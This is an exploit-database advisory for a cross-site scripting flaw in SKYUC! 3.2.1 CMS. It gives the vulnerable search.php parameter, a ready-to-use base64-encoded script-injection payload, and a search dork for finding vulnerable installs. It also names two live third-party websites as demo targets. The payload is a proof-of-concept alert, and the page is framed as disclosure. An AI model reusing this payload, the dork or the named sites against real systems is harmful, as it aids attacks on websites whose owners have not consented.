SKYUC! 3.2.1 Cross Site Scripting

2012.04.28
Credit: farbodmahini
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

######################################################################################## # # # Exploit Title : SKYUC CMS Cross Site Scripting Vulnerability # # # # Author : Secure-Land Security Team # # # # Discovered By : farbodmahini # # # # Home : Secure-Land.net # # # # Vendor : www.skyuc.com # # # # Contact : farbodmahini@yahoo.fr , farbodmahini@gmail.com # # # # Security Risk : Low # # # # DorK : "Powered by SKYUC! 3.2.1" # # # # # ######################################################################################## # # # Expl0iT: # # # # http://[TarGeT]/search.php?encode=[XSS] with encryption base64 # # # # [XSS] : # # # YTozOntzOjg6ImNhdGVnb3J5IjtzOjE6IjAiO3M6ODoia2V5d29yZHMiO3M6NDA6IiI%2bPHNjcmlwdD5hbGVydCgvZmFyYm9kbWFoaW5pLyk8L3NjcmlwdD4iO3M6MTg6InNlYXJjaF9lbmNvZGVfdGltZSI7aToxMzI2NDc0MTkxO30= # # # # # Demo : # # # # http://www.dygq.com/search.php?encode=[xss] # # http://www.sistarchina.com/search.php?encode=[xss] # # # ######################################################################################## # # # Special Thanks : 2MzRp-Mikili-M.Prince-0x0ptim0us # # # ######################################################################################## # # # Greetz : All Secure-Land Members - Packetstorm - 1337day - exploit-id # # # ########################################################################################

References:

http://www.skyuc.com/


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top